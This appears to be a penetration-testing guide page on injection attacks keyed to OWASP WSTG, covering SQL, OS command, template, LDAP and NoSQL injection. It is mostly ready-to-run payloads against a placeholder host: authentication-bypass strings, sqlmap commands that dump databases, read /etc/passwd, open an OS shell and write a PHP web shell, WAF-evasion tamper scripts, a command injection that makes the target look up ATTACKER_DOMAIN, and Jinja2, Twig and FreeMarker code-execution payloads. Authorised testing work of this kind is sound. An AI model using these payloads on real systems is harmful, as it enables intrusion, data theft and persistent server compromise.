Injection Attacks
WSTG-INPVAL-01 through WSTG-INPVAL-20
The Core Conceptβ
Injection flaws occur when untrusted input is interpreted as code or a query by an interpreter on the backend - SQL engine, OS shell, template engine, LDAP directory, etc. The attacker's data becomes instructions. If the application doesn't separate data from instructions, any input that reaches an interpreter is a potential injection point.
Test every input. URL parameters, POST fields, JSON keys and values, headers (User-Agent, Referer, X-Forwarded-For, Cookie), and filenames are all potential vectors.
SQL Injectionβ
Understanding SQLiβ
SQL injection occurs when user input is concatenated directly into a SQL query without parameterization. The attacker closes the intended query context and appends their own SQL.
-- Vulnerable query:
SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT'
-- Attacker supplies: admin' --
-- Resulting query:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
-- The password check is commented out. Login as admin with no password.
Types of SQLi:
| Type | How It Works | Detection |
|---|---|---|
| Error-based | Database error messages leak query structure | Trigger errors with ', ", ) |
| Union-based | UNION SELECT appends attacker-controlled result set to real query | Enumerate columns, extract data |
| Blind boolean | Ask true/false questions; infer data from response differences | AND 1=1 vs AND 1=2 |
| Blind time-based | Force conditional delays to infer data | AND SLEEP(5) (MySQL) / AND pg_sleep(5) (PostgreSQL) |
| Out-of-band | Exfiltrate data via DNS/HTTP (when other methods unavailable) | LOAD_FILE(), UTL_HTTP |
Manual SQLi testingβ
Always test manually first before running sqlmap. Confirm the injection is real.
# Basic string terminator tests - look for errors or behavioral changes
curl -si "http://target.com/item?id=1'"
curl -si "http://target.com/item?id=1\""
curl -si "http://target.com/item?id=1;"
curl -si "http://target.com/item?id=1--"
curl -si "http://target.com/item?id=1 AND 1=1"
curl -si "http://target.com/item?id=1 AND 1=2"
# POST field
curl -si -X POST http://target.com/login \
-d "username=admin'&password=test"
# Time-based blind (MySQL) - if response takes 5+ seconds, SQLi confirmed
curl -si "http://target.com/item?id=1 AND SLEEP(5)" -m 10
# Time-based blind (PostgreSQL)
curl -si "http://target.com/item?id=1;SELECT pg_sleep(5)--" -m 10
# Time-based blind (MSSQL)
curl -si "http://target.com/item?id=1;WAITFOR DELAY '0:0:5'--" -m 10
# Union-based - determine number of columns first
curl -si "http://target.com/item?id=1 ORDER BY 1--" # No error
curl -si "http://target.com/item?id=1 ORDER BY 5--" # Error = fewer than 5 columns
# Find injectable column (get a visible value in the output)
curl -si "http://target.com/item?id=-1 UNION SELECT null,null,null--"
curl -si "http://target.com/item?id=-1 UNION SELECT 'INJECT_TEST',null,null--"
sqlmap - Automated SQLi exploitationβ
# Basic GET parameter test
sqlmap -u "http://target.com/item?id=1"
# POST parameter test
sqlmap -u "http://target.com/login" --data="username=admin&password=test"
# JSON POST body
sqlmap -u "http://target.com/api/user" \
--data='{"id":1}' --headers="Content-Type: application/json"
# With session cookie (authenticated)
sqlmap -u "http://target.com/profile?id=1" \
--cookie="session=abc123"
# Crawl and find injectable parameters automatically
sqlmap -u "http://target.com" --crawl=3
# Specify the parameter to test
sqlmap -u "http://target.com/item?id=1&name=test" -p id
# Specify DBMS to skip detection (faster)
sqlmap -u "http://target.com/item?id=1" --dbms=mysql
# Enumerate databases
sqlmap -u "http://target.com/item?id=1" --dbs
# Enumerate tables in a specific database
sqlmap -u "http://target.com/item?id=1" -D target_db --tables
# Dump a specific table
sqlmap -u "http://target.com/item?id=1" -D target_db -T users --dump
# Dump all data (use sparingly - generates heavy traffic)
sqlmap -u "http://target.com/item?id=1" --dump-all
# Increase detection aggressiveness (level 1-5, risk 1-3)
# Higher level/risk = more tests and more aggressive payloads
sqlmap -u "http://target.com/item?id=1" --level=3 --risk=2
# WAF evasion - tamper scripts modify payloads to bypass filters
sqlmap -u "http://target.com/item?id=1" --tamper=space2comment,between,randomcase
# Attempt OS command execution (if DBMS has file/exec privileges)
sqlmap -u "http://target.com/item?id=1" --os-shell
# Attempt to read files from the server (MySQL)
sqlmap -u "http://target.com/item?id=1" --file-read=/etc/passwd
# Write a web shell (requires write privileges to web root)
sqlmap -u "http://target.com/item?id=1" \
--file-write=/tmp/shell.php --file-dest=/var/www/html/shell.php
Useful tamper scripts for WAF bypass:
| Tamper Script | What It Does |
|---|---|
space2comment | Replaces spaces with /**/ |
between | Replaces > and < with BETWEEN |
randomcase | Randomizes keyword case (SeLeCt) |
base64encode | Base64-encodes the payload |
charencode | URL-encodes characters |
greatest | Replaces > operator with GREATEST() |
modsecurityversioned | Wraps queries in versioned MySQL comments |
Command Injectionβ
Command injection occurs when user input is passed to an OS shell function (exec(), system(), popen(), backticks, etc.) without sanitization. The attacker appends shell metacharacters to break out of the intended command and execute arbitrary OS commands.
Manual detectionβ
# Test metacharacters - look for different responses, delays, or errors
# Separators: ; && || | ` $()
curl -si "http://target.com/ping?host=127.0.0.1;id"
curl -si "http://target.com/ping?host=127.0.0.1|id"
curl -si "http://target.com/ping?host=127.0.0.1&&id"
curl -si "http://target.com/ping?host=127.0.0.1%0aid" # newline
# Time-based blind command injection (if output isn't reflected)
curl -si "http://target.com/ping?host=127.0.0.1;sleep+5" -m 10
curl -si "http://target.com/ping?host=127.0.0.1|sleep%205" -m 10
# Out-of-band - trigger DNS lookup to a controlled host
curl -si "http://target.com/ping?host=127.0.0.1;nslookup+ATTACKER_DOMAIN"
Common injection contexts:
ping,nslookup,whoisutilities called with user-supplied hostnames- File conversion/processing utilities (ImageMagick, ffmpeg) with user-supplied filenames
sendmailwith user-supplied email addresses- Log viewing/searching with user-supplied filenames
commix - Automated command injectionβ
# Basic test
commix --url="http://target.com/ping?host=127.0.0.1"
# POST parameter
commix --url="http://target.com/process" --data="host=127.0.0.1"
# Cookie-based
commix --url="http://target.com/ping?host=127.0.0.1" \
--cookie="session=abc123"
# All-techniques mode
commix --url="http://target.com/ping?host=127.0.0.1" --all
Server-Side Template Injection (SSTI)β
Template engines (Jinja2, Twig, Freemarker, Pebble, Velocity) allow dynamic content generation. If user input is rendered by the template engine rather than treated as data, the attacker can execute template syntax - which often leads to arbitrary code execution.
Detectionβ
# Universal probe - if any of these render a computed value instead of the literal string,
# the input is being interpreted by a template engine
curl -si "http://target.com/greet?name={{7*7}}" # Should return 49 if Jinja2/Twig
curl -si "http://target.com/greet?name=${7*7}" # Should return 49 if FreeMarker/Pebble
curl -si "http://target.com/greet?name=<%= 7*7 %>" # ERB (Ruby)
# Differentiate Jinja2 vs Twig
curl -si "http://target.com/greet?name={{7*'7'}}"
# Jinja2 returns: 7777777
# Twig returns: 49
Exploitation by template engineβ
# Jinja2 (Python) - read a file
curl -si "http://target.com/greet?name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
# Jinja2 - simplified RCE payload (URL-encode as needed)
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig (PHP) - code execution
# {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# FreeMarker (Java)
# <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
SSTI template payloads often need URL encoding when delivered via GET parameters. Use curl --data-urlencode or manually encode { as %7B and } as %7D.
LDAP Injectionβ
LDAP injection occurs in applications that construct LDAP queries using user input - common in enterprise applications with Active Directory authentication.
# Test with LDAP special characters - look for errors or unexpected success
# Characters: * ( ) \ NUL
curl -si -X POST http://target.com/login \
-d "username=admin)(&)&password=anything"
# Classic LDAP authentication bypass
# Intended query: (&(uid=INPUT)(userPassword=INPUT))
# Injected: (&(uid=admin)(*)) - wildcard matches any password
curl -si -X POST http://target.com/login \
-d "username=admin)(*))%00&password=anything"
# Wildcard username - enumerate users
curl -si -X POST http://target.com/login \
-d "username=a*&password=anything"
NoSQL Injectionβ
MongoDB and other NoSQL databases are injectable via JSON operator manipulation rather than SQL syntax.
# MongoDB - operator injection in JSON body
# Intended: {"username": "admin", "password": "test"}
# Injected: {"username": "admin", "password": {"$gt": ""}}
# "$gt": "" means "password is greater than empty string" = always true
curl -si -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$gt":""}}'
# Regex injection - match any password starting with known characters
curl -si -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^p"}}'
# URL parameter NoSQL injection
curl -si "http://target.com/user?id[$ne]=null"
curl -si "http://target.com/user?id[$gt]="